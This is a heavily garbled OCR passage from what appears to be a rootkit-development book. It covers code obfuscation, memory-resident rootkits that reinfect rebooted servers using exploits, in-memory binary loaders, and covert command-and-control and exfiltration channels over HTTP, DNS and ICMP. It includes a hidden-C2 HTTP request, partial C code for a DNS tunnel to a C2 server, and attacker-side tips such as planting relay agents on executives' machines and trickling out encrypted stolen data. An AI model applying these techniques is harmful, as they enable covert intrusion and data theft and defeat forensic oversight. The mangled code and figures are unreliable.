A-statementl ; A-statement2 ;
void Function-B()
(
B-statementl ; B-statement2 ;
... ...
B-labe12 : B-statement2 ; end of Function-B ; A-label2 : A-statement2 ; end of Function-A; B-labell : +-------+-- FunctionB starts here B-statementl ; OP .rump to B-label2; A-labell : + - - - - ---+-- Function-A starts here A-statementl ; OP .rump to A-labe12 ;
Figure 10-1 9 A predicate is just a conditional statement that evaluates to true or false. An opaque predicate is a predicate for which the outcome is known in advance; which is to say that it will always return the same result, even if it looks like it won't. For example (i *NULL>13) is an opaque predicate that's always false.
594
Po rt III
Opaque predicates are essentially unconditional jumps that look like conditional jumps, which is what we want because we'd like to keep the forensic investigator off balance and in the dark as much as possible. One way to augment code interleaving is to invoke all of the routines through a central dispatch routine. The more functions you merge together the better. In the extreme case, you'd merge all of the routines in an executable through a single dispatch routine (which, believe me, can be very confusing). The dispatch routine maintains its own address table that maps return addresses to specific functions. This way the dispatcher knows which routine to map to each caller. When a routine is invoked, the code making the invocation passes its return address on the stack. The dispatch routine examines this return address and references its address table to determine which function to reroute program control to (see Figure 10-20). In the eyes of the forensic investigator, everyone seems to be calling the same routine regardless of what happens.
CALL Function-A; CALL Function-B ; CALL Function-C ;
Function-A Code
Function-B Code
Function-C Code
Figure 10-20
Po rt III
I 595
executable. This can lead to both code bloat and CPU-cycle bloat. Obfuscation can also increase the complexity, and size, of a program's variables, leading to data bloat. This is why some tools accommodate selective obfuscation, so that only a limited number of application components are affected.
Memory-Resident Rootkits
A great deal of forensic evidence (e.g., files, registry keys, log entries) is created in a bid to survive reboot. One way to do away with all of this evidence, and completely foil disk analysis, is to stay resident in memory and never write anything to persistent storage. In some cases, this can be a reasonable approach. For example, enterprises that offer 24x7 services will often maintain high-end computers that are up for months at a time. However, even at the mission-critical end of the spectrum there are exceptions. The Chicago Stock Exchange, which has the luxury of being closed overnight, soft-reboots its servers every day after trading closes (probably to guard against memory leaks and the like). Other production sites periodically institute rolling restarts so that only a limited subset of machines is down at any point in time. How could a rootkit designed to be memory resident possibly survive in this sort of setting? One approach, suggested by Joanna Rutkowska in a presentation at the 2006 Black Hat Europe conference, is to rely on network-based "reinfection." Specifically, if a server is rebooted and wipes the local rootkit from memory, a copy of the rootkit on another server notices this and attempts to reinstalI itself by leveraging some zero-day exploit. The rootkits could implement this scheme by periodically transmitting and receiving heartbeat signals over a covert channel. One of the rootkits could also be located on a peripheral machine in the event that the server cluster is restarted en masse (see Figure 10-21).
596
Pa rt III
o
Backup rootkit resides outside of duster to deal with simultaneous reboot
o
Figure 10-21
rootkitfa~s
Strictly speaking, this is more of a distributed computing approach as opposed to the type of mindless self-replication that might be observed with a virus ("self-healing" is probably a more apt description). In other words, this model assumes that the rootkits are installed on a finite set of machines and have been designed to stay that way. Though, this could still be seen as a tactic that's performed in the spirit of malware propagation due to the fact that the rootkits are propagating without consent and using exploits to reintroduce themselves onto recently rebooted machines.
Data Contraception
Data contraception is a variation of this general theme. Data contraception seeks to limit the amount of valuable forensic evidence that an attack leaves behind by adhering to two core tenants: operate purely in memory, and rely on common utilities rather than special tools whenever possible. The canonical example of data contraception in action is a tool that allows an arbitrary binary to be executed on a remote host without accessing disk storage. Such a tool might implement this functionality in terms of the following steps:
1.
2.
Invoke a server that offers access to its own address space or that of another process. Upload the binary into the memory of the server (i.e., into a data buffer).
3. 4.
Map the binary, as an executable, into an address space and initialize it. Pass program control to the entry point of the binary.
Essentially you're building a loader that sidesteps the traditional built-in OS facilities and allows arbitrary byte streams in memory to be executed. As an aside, once you've constructed this sort of mechanism, you're not that far away from implementing an industrial-strength packer or a cryptor. All you need to add is a component that decompresses or decrypts the original stream of bytes. In the optimal case, the server that provides access to an address space will be a common utility rather than a special-purpose application that's been built from scratch. Virtual machines are also attractive candidates because many of them already support dynamic loading of executable byte streams into memory, not to mention that the steps used to load bytecode tends to be less complicated (and better docume nted) than that required for native binaries. Is anyone up for a cup of coffee? The anti-forensics researcher who defined this technique, the grugq, did most of his proof-of-concept work on the UNIX platform. Specifically, he constructed an address space server named Remote Exec using a combination of gdb (the GNU Project Debugger) and a custom-built library named ul_exec (as in Userland Exec, a user-mode replacement for the execve() system call).34 The gd b tool is a standard part of most open-source distributions. It can spawn and manage a child process, something which it does by design. It's stable, versatile, and accepts a wide range of commands in ASCII text. At the same time, it's prolific enough that it's less likely to raise an eyebrow during a forensic investigation. The ul_exec library was published in 2004 by the grugq as one of his earlier projects.35 It allows an existing executable's address space to be replaced by a new address space without the assistance of the kernel. This library does most of the heavy lifting in terms of executing a byte stream. It clears out space in memory, maps the program's segments into memory, loads the dynamic linker if necessary, sets up the stack, and transfers program control to the new entry point (yada, yada, yada).
34 The grugq, "FIST! FIST! FIST! It's all in the wrist: Remote Exec," Phrack, Volume 11, Issue 62. 35 The grugq, "The Design and Implementation of Userland Exec," http://archive.cert.uni-stuttgart.de/bugtraq/2004/0l/msgOOOO2.htrnI.
598
Po rt III
Furthermore, because ul_exec is a user-mode tool, the structures in the kernel that describe the original process remain unchanged. From the viewpoint of system utilities that use these kernel structures, the process will appear to be the original executable. This explains why this approach is often called process puppeteering. The old program is gutted, leaving only its skin; which we stuff our new program into so that we can make it do funny things on our behalf.
through a back channel of some sort? In other words, why buy a house on Main Street when you can squat in an empty lot? There's less paperwork involved and the view is just as good (though you will need to build your own accommodations, ahem).
. ~ tm.exe-..3984 PropMJes
~J1P
CPU '\
Peri.......-ce Gooh
51... _
ttlexe...otlba
- .
..
"" GI iIIIJIii
. SOi>ot .
llR.tIO
9:artTrne
SIal .
......
w. Wr\JMtRequest
0-00-00015
~
I ~ .. I
omooooo
158 10 12
~ ~
OK:] ~
Figure 10-22
Then there's the temptation to hide TCP/IP ports. While this might seem like a good idea at the outset, it has a tendency to backfire. Hiding a network connection is risky because the traffic generated by this connection can be captured by a dedicated sniffer. The connection shows up from the vantage point of the network, but it doesn't show up on the compromised host. To the trained eye this stands out like a clown at funeral . Finally, with regard to hiding persistent objects like files and registry entries, we just devoted several pages to discussing how this can be avoided by staying memory resident. If we can design a rootkit that persists without using the hard drive, our rootkit doesn't really have a need to hide file system objects. At the end of the day, rootkit design is often a matter of balancing footprint versus failover. The orthodox methods of supporting program execution rely on established, built-in, system functionality like the SCM and the Windows loader. While these components demand certain artifacts that are conspicuous (e.g., the SCM uses keys in the registry and the Windows loader expects binaries to reside on disk), they're also more stable. In other words, they're fault tolerant at the expense of leaving a footprint.
600
Part III
Aside
If we can find less conspicuous ways to maintain a foothold on a machine, without having to take overt measures to hide our code, does this mean that all of the work we did in Part II of the book has been a futile exercise? In a nutshell: No. The techniques that we explored in Part II (i.e., manipulating tables, system calls, and kernel objects) are still useful even if they're not directly used for concealment. Subverting a system ultimately boils down to modifying its inner workings somehow; whether you're hiding, implementing command and control, or simply monitoring what's going on. This type of work still requires the skill set that you've acquired.
Traditionally, rootkit architects have preferred to leverage these preexisting system services rather than implement the functionality themselves, and then simply devote effort to concealing the resulting footprint that they create. There are so many little details to attend to, which are often undocumented, that it tends to be easier to use what Windows provides rather than roll your own. The built-in OS subsystems are more flexible and can accommodate a greater number of scenarios than hand-crafted components. Rootkits that use less established concealment tactics are inherently less stable. This is what happens when you reimplement core system functionality from scratch (like a program loader that doesn't require the binary to exist on disk). While they tend to be stealthier, because the techniques they employ don't depend as much on the operating system, they also usually aren't as resilient. In other words, they favor a minimal footprint at the expense of failover. With greater risk comes greater reward.
Port III
/601
Chapter 11
01101111, 01101111, 01110100, 01101011, 01101001, 01110100, 01110011, 00100000, 01000011, 01001000, 0011000100110001
In the context of a rootkit, a covert channel is a network connection that disguises its byte stream as normal traffic. A covert channel facilitates remote access to a compromised machine so that a rootkit can implement:
Command and control (C2) Data exfiltration
There are different schools of thought on how to realize C2 and data exfiltration in practice. Special-purpose commercial tools like DameWare's Mini Remote Control program (DMRC) have all the bells and whistles you could ever dream of (a slick GUI, encrypted communication, user session shadowing, file transfer, etc.). However, this Rolls-Royce luxury model approach also leaves a noticeable forensic footprint on the system. In particular, the DMRC client agent is deployed as a service, which as I'm sure you're aware, leaves telltale artifacts in the registry and a foreign executable in the file system. At the other end of the spectrum, there are remote access tools, like Metasploit's Meterpreter, that adhere to the grugq's concept of data contraception by staying memory resident. The idea in this case is to build upon the functionality of a remote shell (e.g., issue commands, execute scripts, access files, etc.) without giving the forensic analysts anything to examine once the attack has been completed. While these lower-level tools usually don't afford the same ease-of-use as the commercial remote control software, they tend to be less conspicuous. Ultimately, as far as rootkits are concerned, subtlety beats frills every time. Most attackers would be more than willing to subsist on a Bourne shell interface if it meant that they could avoid the wrath of the system administrator and access the data they've targeted.
603
Monitoring Station
Full Content Data Collectio n
Figure 11 -1
Given that this is the case, our goal is to establish a covert channel that minimizes the chance of detection. The best way to do this is to blend in with the normal traffic patterns of the network segment; to hide in a crowd, so to speak. Dress your information up in an IP packet so that it looks like any other packet in the byte stream. This is the basic motivation behind protocol tunneling.
One way to satisfy these requirements is to tunnel data in and out of the network by embedding it in a common network protocol (see Figure 11-2). Naturally, not all networks are the same. Some networks will allow RDP traffic through the perimeter gateway and others will not. University networks, for example, typically have to be more relaxed about what packets they permit and deny because faculty members will scream bloody murder about academic freedom if they can't use their favorite instant messenger to communicate with their colleagues in Bulgaria. Corporations usually don't have this problem and therefore tend to be much more boring in this regard (dictatorships are like that). Nevertheless, there is a small subset of protocols that will be common to most networks. In this day and age, there are three candidates that will crop up in almost every instance: HTTp, DNS, and JCMP.
Rooted Server
Figure 11-2
Hnp
The ubiquity of web browsers makes HTTP an attractive option for tunneling data_ Not to mention that many software vendors also now use HTTP as a way to install updates. Furthermore, because HTTP relies on one or more TCP connections to shuttle data from client to server, it can be seen as a reliable mechanism for data exfiltration. The HTTP protocol was designed to be flexible. Given the complexity of the average web page, there are endless places where data can be hidden, especially when it's mixed into the context a seemingly legitimate HTTP request and reply.
REQUEST
POST /CovertChannelPage.html HTTP/!.! Host: www.EW1ed.com User-Agent: Mozilla/4.e Content-Length: 2996 Content-Type: application/x-www-form-urlencoded userid=intruder&topic=password+list&requestText=waiting+for+a+command+ ...
REPLY
<HTML> <HEAD> <TITLE>This page stores a hidden C2 command</TITLE> </HEAD> <BOOY BGCOLOR="neeeeoo"> </HTML>
However, one problem with HTTP is it's conspicuous. Initiating a TCP connection requires performing the renowned three-way handshake. Specifically, the client sends a SYN packet indicating the port it wants to communicate on and an initial sequence number (ISN). The server responds with its own SYN packet containing the server's ISN, and also acknowledges the client's SYN with an ACK that increments the client's ISN by 1 (i.e., SYN-ACK). Finally,
606
Part III
the client acknowledges the server's SYN by responding with an ACK packet that increments the server's ISN by 1. This whole process (SYN, SYN-ACK, and ACK) is anything but subtle.
>
Note : As d escribed earlier in the book, the Computrace Agent sold by Absolute Software is an inventory tracking program that periodically phones home, indicating its current config uration parameters. Based on my own experience with the agent (which I originally mistook as malware), it would seem that the agent communicates with the mother ship by launching the system's default browser and then using the browser to tunnel status information over HTTP to a web server hosted by the folks at Absolute.com .
DIS
While HTTP is inescapable on desktop machines, the system administrator might be paranoid enough to uninstall or disable the web browsers on his rack of servers. If this is the case, we can still tunnel data through a protocol like DNS. The strength of DNS is that it's even more ubiquitous than HTTP traffic. It's also not as noisy, seeing that it uses UDP for everything except zone transfers. The problem with this is that UDP traffic isn't as reliable, making DNS a better option for issuing command and control messages rather than channeling out large amounts of data. The format for DNS messages also isn't as rich as the request-reply format used by HTTP. This will increase the amount of work required to develop components that tunnel data via DNS because there are fewer places to hide and the guidelines are stricter.
ICMP
Let's assume, for the sake of argument, that our system administrator is so paranoid that he disables DNS name resolution. There are still lower-level protocols that will be present in many environments. The Internet Control Message Protocol (ICMP) is used by the IP layer of the TCP/IP model to communicate error messages and other exceptional conditions. ICMP is also used by familiar diagnostic applications like pi ng. exe and tracert. exe. Research on tunneling data over ICMP has been documented in the past. For example, back in the mid-1990s, Project Loki examined the feasibility of smuggling arbitrary information using the data portion of the ICMP_ECHO
Part III
1607
and ICMP_ ECHOREPLY packets. l This technique relies on the fact that network devices often don't filter the contents of ICMP echo traffic. To defend against ping sweeps and similar enumeration attacks, many networks are configured to block incoming ICMP traffic at the perimeter. However, it's still convenient to be able to ping machines within the LAN to help expedite day-to-day network troubleshooting, such that many networks still allow ICMP traffic internally. Thus, if the high-value targets have been stashed on a cozy little subnet behind a dedicated firewall that blocks DNS and HTTP, one way to ferry information back and forth is to use a relay agent that communicates with the servers over ICMP messages and then routes the information to a C2 client on the Internet using a higher-level protocol (see Figure 11-3).
Relay Agent
Figure 11-3
Table 11-1 summarizes the previous discussion. When it comes to tunneling data over a covert channel, it's not so much a question of which protocol is the best overall; different tools should be used for different jobs. For example, HTTP is the best choice if you're going to be tunneling out large amounts of data. To set up a less conspicuous outpost, one that will be used primarily to implement command and control operations, you'd probably be better off using DNS. If high-level protocols have been disabled or blocked, you might want to see if you can fall back on lower-level protocols like ICMP. The best approach is to support service over mUltiple protocols and then allow the environment to dictate which one gets used; as Butler Lampson would say, separate the mechanism from the policy.
1 Alhambra & daemon9, "Project Loki: ICMP Tunneling," Phrack, V olume 7, Issue 49.
608
Po rt III
Aside
The best place to set up a relay agent is on a desktop machine used by someone high up on the organizational hierarchy (e.g., an executive office, a departmental chair, etc.). These people tend to get special treatment by virtue of the authority they possess. In other words, they get administrative rights on their machines because they're in a position to do favors for people when the time comes. While such higher-ups are subject to fewer restrictions, they also tend to be less technically inclined because they simply don't have the time, or desire, to learn how to properly manage their computers. So what you have is people with free reign over their machines who doesn't necessarily understand the finer points of its operation. They'll have all sorts of peripheral devices hooked up to it (PDAs, smart phones, headsets, etc.), messaging clients, and any number of "value-added" toolbars installed. At the same time they won't be able to recognize a network connection that shouldn't be there (and neither will the network analyst, for the reasons just mentioned). As long as you don't get greedy, and you keep your head down, you'll probably be left alone.
Table 11-1 Protocol Benefits Reliable and flexible least-common denominator low-level, usually ignored Drawbacks Conspicuous Not good for large amounts of data Often blocked at the perimeter Strong SUit Data exfiltration WAN-based C2 LAN-based C2
HTTP
DNS
ICMP
Peripheral Issues
Tunneling data over an existing protocol is much like hiding data in a file system; it's not a good idea to stray too far from the accepted specification guidelines because doing so might cause something to break. In the context of network traffic analysis, this would translate into a stream of malformed packets (which will definitely get someone's attention if he happens to be looking). Generally speaking, not only should you stray as little as possible from the official network protocol you're using, but you should also try not to stray too far from typical packet structure.
Po rt III
I 609
Likewise, when hiding data within the structures of the file system, it's also a good idea to encrypt data so that a raw dump of disk sectors won't yield anything useful that the forensic analyst can grab on to. Nothing says "rooted" like a hidden .ini file. The same can be said for tunneling data across the network; always encrypt it. It doesn't have to be fancy. It can be as simple as a generic block cipher, just as long as the raw bytes look like random junk instead of human readable ASCII. Finally, if you're going to transfer large amounts of data from a compromised machine (e.g., a database or large media file), don't do it all at once. In the context of hiding in a file system, this would be analogous to spreading a large file out over a multitude of small hiding spots (e.g., slack space in the MFT). Recall that the goal of establishing a covert channel is to blend in with normal traffic patterns. If network usage spikes abruptly in the wee hours while you're pulling over several hundred megabytes of data, you've just violated this requirement. So there you have it. Even if you've successfully arrived at a way to tunnel data over an existing network protocol, there are still a couple of sticking points that you should be aware of: Stick as closely as possible to the official protocol (and to the "typical" packet structure). Encrypt all of the data that you transmit. Break up large payloads into a trickle of smaller chunks.
610
Port III
Implement a user-mode program that uses the Windows Sockets 2 API. Implement a KMD that uses the Winsock Kernel API. Implement code that uses a custom NDIS protocol driver.
Windows Sockets 2
The Windows Sockets 2 (Win sock) API is by far the easiest route to take. It's well-documented, fault tolerant, and user-friendly (at least from the standpoint of a developer). Programmatically, most of the routines and structures that make up Winsock are declared in the winsock2. h header file that ships with the Windows SDK. The API in winsock2. h is implemented by the wS2_32. dlllibrary, which provides a flexible and generic sort of front end. Behind the scenes, routines in wS2_32. dll call functions in the mswsock. dll, which offers a service provider interface (SPI) that send requests on to the specific protocol stack in question. In the case of TCP/lP, the SPI interface defined by mswsock. dll invokes code in the wshtcpip . dll Winsock helper library, which serves as the interface to the protocol-specific code residing in kernel space (see Figure 11-4).
:=======::::::::=~l
ws2 32.dll
~
NetApp.exe
--
~=======::"I-mswsock.dll SPI (e.g., wshtcpip.dll) User Mode Ke rn el Mode ntdll.dll WSK Client.sys Afd.sys WSK Subsystem
I--- He lperllbrary l
I I
TCP
II
UDP IP ARP
II Raw Packets I , I
NDIS.sys Library
Ethernet NIC
Figure 114
As usual, this approach is an artifact of the need to stay flexible. This explains the Windows HAL and it also explains the networking stack. The architects in Redmond didn't want to anchor Windows to any particular networking protocol. They kept the core mechanics fairly abstract so that support for different protocols could be plugged in as needed via different helper libraries. These helper libraries interact with the kernel through our old friend ntd11.dll. The Winsock paradigm ultimately interfaces to the standard I/O model in the kernel. This means that sockets are represented using file handles. Thus, as Winsock calls descend down into kernel space, they make their way to the ancillary function driver (afd. sys), which is a kernel-mode file system driver. It's through afd. sys that Winsock routines use functionality in the Windows TCP/IP drivers (tcpip. sys for IPv4 and tcpip6. sys for IPv6).
Raw Sockets
The problem with the Winsock is that it's a user-mode API, and network traffic emanating from a user-mode application is fairly easy to track down. This is particularly true for traffic involved in a TCP connection Gust use the netstat. exe command). One way that certain people have gotten around this problem in the past was by using raw sockets. A raw socket is a socket that allows direct access to the headers of a network frame. I'm talking about the Ethernet header, the IP header, and the TCP (or UDP) header. Normally, the operating system (via kernel mode TCP/IP drivers) populates these headers on your behalf and you simply provide the data. As the frame is sent and received, headers are tacked on and then stripped off as it traverses to TCP/IP stack to the code that uses the frame's data payload (see Figure 11-5).
Applica t ion Layer
Transport Layer
Internet Layer
Ethernet frame
Ethernet Header
Et hernet Footer
Data Li nk Layer
Figure 11-5
With a raw socket, you're given the frame in its uncooked (raw) state and are free to populate the various headers as you see fit. This allows you to alter the metadata fields in these headers that describe the frame (e.g., its Ethernet MAC address, its source IP address, its source port, etc.). In other words, you can force the frame to lie about where it originated. In the parlance of computer security, the practice of creating a packet that fakes its identity is known as spoofing. You create a raw socket by calling the socket () function or the WSASoc ket ( ) function, with the address family parameter set to AF _INET (or AF _INET6 for IPv6) and the type parameter set to SOCK_RAW. Note that only applications running under the credentials of a system administrator are allowed to create raw sockets. Naturally, the freedom to spoof frame information was abused by malware developers. The folks in Redmond responded as you might expect them to. On Windows SP2 and Vista, Microsoft has imposed the following restrictions on raw sockets: TCP data cannot be sent over a raw socket (but UDP data can). UDP datagrams cannot spoof their source address over a raw socket. Raw sockets cannot call make calls to the bind() function.
These restrictions have not been imposed on Windows Server 2003 or on Windows Server 2008. With regard to XP SP2 and Vista, the constraints placed on raw sockets are built into tcpip. sys and tcpip6. sys drivers. Thus, whether you're in user mode or kernel mode, if you rely on the native Windows TCPIIP stack (on Windows XP SP2 or Vista) you're stuck. According to the official documents from Microsoft: "To get around these issues ... write a Windows network protocol driver." In other words, to do all the forbidden network Gong Fu moves you'll have to roll your own NDIS protocol driver. We'll discuss NDIS drivers in more detail shortly.
for KMDs with a lot of low-level stuff thrown in for good measure. Like Winsock, the WSK subsystem is based on a socket-oriented model that leverages the existing native TCP/IP drivers that ship with Windows. However, there are significant differences. First, and foremost, because the WSK operates in kernel mode there are many more details to attend to, and the kernel can be very unforgiving with regard to mistakes (one incorrect parameter or misdirected pointer and the whole shebang comes crashing down). If your code isn't 100% stable, you might be better off sticking to user mode and Winsock. This is why hybrid rootkits are attractive to some developers: They can leave the networking and C2 code in user space, going down into kernel space only when they absolutely need to do something that they can't do in user mode (e.g., alter system objects, patch a driver, inject a call gate, etc.). The WSK, by virtue of the fact that it's a low-level API, also requires the developer to deal with certain protocol-specific foibles. For example, the WSK doesn't perform buffering in the send direction, which can lead to throughput problems if the developer isn't familiar with coping techniques like Nagle's Algorithm (which merges small packets into larger ones to reduce overhead) or Delayed ACK (where TCP doesn't immediately ACK every packet it receives).
NDIS
The Network Driver Interface Specification (NDIS) isn't so much an API as it is a blueprint that defines the routines network drivers should implement. There are four different types of kernel-mode network drivers you can create, and NDIS spells out the contract that they must obey. According to the current NDIS spec, these four types of network drivers are: Miniport drivers Filter drivers Intermediate drivers Protocol drivers
For the purposes of this book, we will deal primarily with protocol NDIS drivers and miniport NDIS drivers.
Miniport drivers are basically network card drivers. They talk to the networking hardware and ferry data back and forth to higher-level drivers. To do so, they use NdisMxxx() and Ndisxxx() routines from the NDIS library (Ndis . sys). Think of the NDIS library as an intermediary that the drivers
use to communicate. For example, miniport drivers rarely interact directly with the NIC. Instead, they go through the NDIS library, which in turn invokes routines in the HAL (see Figure 11-6). Miniport drivers also expose a set of Miniportxxx() routines, which are invoked by the NDIS library on behalf of drivers that are higher up on the food chain. Protocol Driver (e.g., TCP/IP)
Calls NdisXXX () routines
Export s ProtocolXXX ()
Ndis.sys Library
Export s M:!.m.portXXX ()
Miniport Driver
Calls Ndisxxx () routines and RdisMXXX () routines
HAL
Ethernet NIC
Figure 11-6
Protocol drivers implement a transport protocol stack (like the tcpip. sys
driver). They communicate with miniport and intermediate NDIS drivers by invoking Ndisxxx() routines in the NDIS library. Protocol drivers also expose Protocolxxx() routines that are called by the NDIS library on behalf of other drivers lower down on the food chain. In general, host-based network security software on Windows (firewalls, IDS, etc.) uses the native TCP/IP stack. Thus, one way to completely sidestep local filtering and monitoring is to roll your own transport driver. This approach also gives you complete control over the packets you create, so you can circumvent the restrictions that Windows normally places on raw sockets. Using your custom-built protocol driver, you can even assign your networking client its own IP address, port, and MAC address. Furthermore, none of the built-in diagnostic tools on the local host (ipconfig. exe, netstat. exe, etc.) will be able see it because they'll all be using the native TCP/IP stack! A hand-crafted NDIS protocol driver is the sign of a seasoned and dangerous attacker.
One caveat to this approach is that building your own TCP/IP stack from scratch can be a lot of work. In fact, there have been entire books dedicated to this task. 2 Not to mention the perfunctory testing and debugging that will need to be performed to ensure that the stack is stable. Releasing a production-quality deliverable of this type can easily consume a small team of engineers; it's not a task to be taken lightly, especially if you want code that's reliable and scalable. Another problem that you might run into is that some network switches are configured so that each Ethernet port on the switch is mapped to a single MAC address. I've found this setup in lab environments, where the network admin wants to keep people from plugging their personal laptops into the network. In other words, the cable plugged into the switch is intended to terminate at the NIC jack of a single machine. If the switch detects that traffic from two different MAC addresses is incident on the port, it may take offense and shut the port down completely (after which it may send an angry message to the network admin) . In this case, all your work is for naught because your rootkit has suddenly become conspicuous. Finally, if you're up against an alpha geek who's monitoring his server rack on a dedicated network segment, in a physically secure server room, he's going to know when he sees an IP address that doesn't belong. To the trained eye, this will scream "rootkit." Remember, the ultimate goal of a covert channel is to disguise its byte stream by blending in with the normal flow of traffic. Assuming a new IP address and MAC address may very well violate this requirement.
Table 11 -2 Interfme Winsock WSK Benefits Easy to use, well documented Uses the existing TCP/IP stock Not as easy to track down NDiS Offers the most control Can spoof pockets Can bypass local firewolls Drawbacks Easier to track down More demanding and less forgiving than Winsock Must account for protocol-dependent behavior Effort required to implement a new TCP/IP stock Switches may limit one MAC address per port Can be conspicuous in a pocket capture
DNS Query
A DNS query consists of a 12-byte fixed-size header followed by one or more questions. Typically a DNS query will consist of a single question (see Figure 11-7). The DNS header consists of six different fields, each one being 2 bytes in length. The first field is a transaction identifier (see Table 11-3), which allows a client DNS to match a request with a response (because they'll both have the same value for this field) . For requests, the flags field is usually set to Elx~nElEl. This indicates a run-of-the-mill query, which is important to know because we want our packets to look as normal as possible in the event that they're inspected. The remaining four fields indicate the number of questions and resource records in the query. Normally, DNS queries will consist of a single question, such that the first field will be set to ElxElElEll and the remaining three fields will be set to ElxElElElEl.
Ethernet Header
14 bytes
IP Header
20 bytes
UDP Header
8 bytes
DNS Message
", II II I I I I I I
Question(s)
Size varies
Answer RRs
Authority RRs
Additional RRs
I
I
I y
----I -1
Figure 11-7 Table 11-3
10 ( 00,02 )
(03, 77, 77, 77, 04, 63, 77, 72, 75, 03, 65, 64, 75,00 )
,,~
I '- I
(00,01 )
(00,01 )
Co.
flags (01, 00 )
questions (00, 01 )
Authority RR s (00, 00 )
Additional RR s (00, 00 )
Matches request to response Various bitwise flags Number of question records Number of answer resource records Number of authority resource records Number af additional resource records
Note that TCP/IP transmits values in network order (i.e., big-endian). This means that the most significant byte of an integer value will be placed at the lowest address.
In Figure 11-7, the DNS query header is followed by a single question record. This consists of a query name, which is a null-terminated array of labels. Each label is prefixed by a digit that indicates how many characters are in the label. This value ranges from 1 to 63. According to RFC 1123 (which is the strictest interpretation), a label can include the characters A-Z, a-z, the digits 0-9, and the hyphen character. A query name may be at most 255 characters total.
For example, the query name WIIM. cwru . edu consists of three labels:
www.cwru.edu
~
The query name is followed by a couple of 16-bit fields . The first indicates the query type, which is normally set to eJxeJeJeJl to specify that we're requesting
618
Po rt III
the IP address corresponding to the query name. The second field, the query class, is normally set to elxelelell to indicate that we're dealing with the IP protocol. One way to tunnel data out in a DNS query would be to encrypt the data and then encode the result into an alphanumeric format, which would then get tacked on to a legitimate-looking query name. For example, the ASCII message:
Rootkit Request Command
Naturally this scheme has limitations built into it by virtue of the length restrictions placed on labels and the maximum size of a query name. The upside is that the message is a completely legal DNS query, with regard to how it's structured, that deviates very little from the norm.
If you wanted to add another layer of indirection, you could embed a message in a series of DNS queries where each query contributes a single character to the overall message. For example, the following set of queries spell out the word "hide."
com _. dygov.org _. litionmag.com _ spionage-store.com
_ti
7h 7 i 7d 7 e
It goes without saying that, in practice, this message would be encrypted beforehand to safeguard against eyeball inspection.
DIS Response
The standard DNS response looks very much like the query that generated it (see Figure 11-8). It has a header, followed by the original question, and then a single answer resource record. Depending upon how the DNS server is set up, it may provide a whole bunch of extra data that it encloses in authority resource records and additional resource records. But let's stick to the scenario of a single resource record for the sake of making our response as pedestrian as we can. The DNS header in the response will be the same as that for the query, with the exception of the flags field (which will be set to elxel18el to indicate a standard query response) and the field that specifies the number of answer resource records (which will be set to elxelelell).
Port III
I 619
Ethernet Header
14 bytes
IP Header
20 bytes
UDP Header
8 bytes
DNS Message
'-.1
f
II'"
, ,, ,,
~~------~---------r----------r---------~----------~' Question(s) Authority RRs Additional RRs
Size varies
Figure 11-8
Resource records vary in size but they all abide by the same basic format (see Table 11-4)_ Table 11-4
Field Query nome Type Closs Time to live Data length Resource data Size Varies
2 2
Description Nome to be resolved to on address Some as the initial query type Some as Ihe initial query closs Number of seconds to cache response length of the resource data (in bytes) The IP address mopped to the nome
Sample Value
4
2
The query name field can adhere to the same format as that used in the original request (i.e., a null-terminated series of labels). However, because this query name is already specified in the question portion of the DNS response, it makes sense to simply refer to this name with an offset pointer. This practice is known as message compression. The name pointers used to refer to recurring strings are 16 bits in length. The first two bits of the 16-bit pointer field are set, indicating that a pointer is being used. The remaining 14 bits contain an offset to the query name, where the first byte of the DNS message (i.e., the first byte of the transaction ID field in the DNS header) is designated as being at offset zero. For example, the name pointer exceec refers to the query name www. cwru. edu, which is located at an offset of 12 bytes from the start of the DNS message.
620
Pa rt III
The type and class fields match the values used in the DNS question. The time to live field (TTL) specifies how long the client should cache this response, in seconds. Given that the original question was aimed at resolving a ho t name to an IP address, the data length field will be set to exeee4 and the resource data field will be instantiated as a 32-bit IP address (in big-end ian format). Tunneling data back to the client can be implemented by sending encrypted labels in the question section of the DNS response (see Figure 11-9). Again, we'll run into size limitations imposed by the protocol, which may occasionally necessitate breaking up an extended response into multiple messages. This is one reason why DNS is better for terse command and control directives rather than data exfiltration.
Figure 11-9
Initialize the Winsock subsystem. Create a socket. Connect the socket to a DNS server (aka the remote C2 client). Send the DNS query and receive the corresponding response. Clo e the socket and clean up shop.
2. 3. 4. 5.
9x93, 9x77, 9x77, 9x77, 9x94, 9x63, 9x77, 9x72, 9x75, 9x93, 9x65, 9x64, 9x75, 9xOO
};
//step #1) initialize Winsock2 ok = initwinsock(&WsaData); if(!ok){ return; } //step #2) create a socket ZeroMemory(&hints, sizeof(hints; hints. ai_family = AF_INET; hints.ai_socktype = SOCK_DGRAM; hints.ai"'protocol = IPPROTO_LOI'; result = getAddressList(dnsServer,hints); if(result==NULL){ return; } ok = createSocket(&dnsSocket,result); if(!ok){ return; } //step #3) connect to a server ok = connectToServer(&dnsSocket,result); if(!ok){ return; } //step #4) send and receive data = sendQuery(dnsSocket,questionName,sizeof(questionName; if(!ok){ return; } ok = receiveResponse(dnsSocket); if(lok){ return; }
ok
Now let's drill down into some details. If you read through the source code in the appendix, you'll find that most of these calls simply wrap the existing sockets API. For example, the getAddressList() routine just wraps a call to the standard getaddrinfo() function.
struct addrinfO *getAddressList(char *ipAddress, struct addrinfo hints)
{
622
Po rt III
Sometimes a server name will resolve to more than one address (e.g., when load balancing has been instituted), and so officially the getaddrinfo() routine is capable of returning a linked list of address structures via the result pointer variable. In this case, we know that there is only one remote machine (i.e., our C2 station) so we can merely deal with the first entry. The bulk of the real work takes place with regard to sending the DNS query and processing the response that the client receives. The sendQuery() function offloads most of the heavy lifting to a routine named bldQuery().
BOOLEAN sendQuery(SOCKET dnsSocket, BYTE* nameBuffer, IWlRD nameLength)
{
IWlRD count j BYTE buffer[SZ_MAX_BUFFER]j bldQuery(nameBuffer,nameLength, buffer, & count) j count = send(dnsSocket,buffer,count,0)j if(count==SOCKET_ERROR)
{
>
The bldQuery() routine constructs the DNS query by streaming three different byte arrays into a buffer. The first and the last arrays are fixed in terms of both size and content. They represent the query's header and suffix (see Figure 11-10).
Header (3)_w[4)cwru[3)edu buffer I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I
.W.
Figure 11-10
Pa rt III
I 623
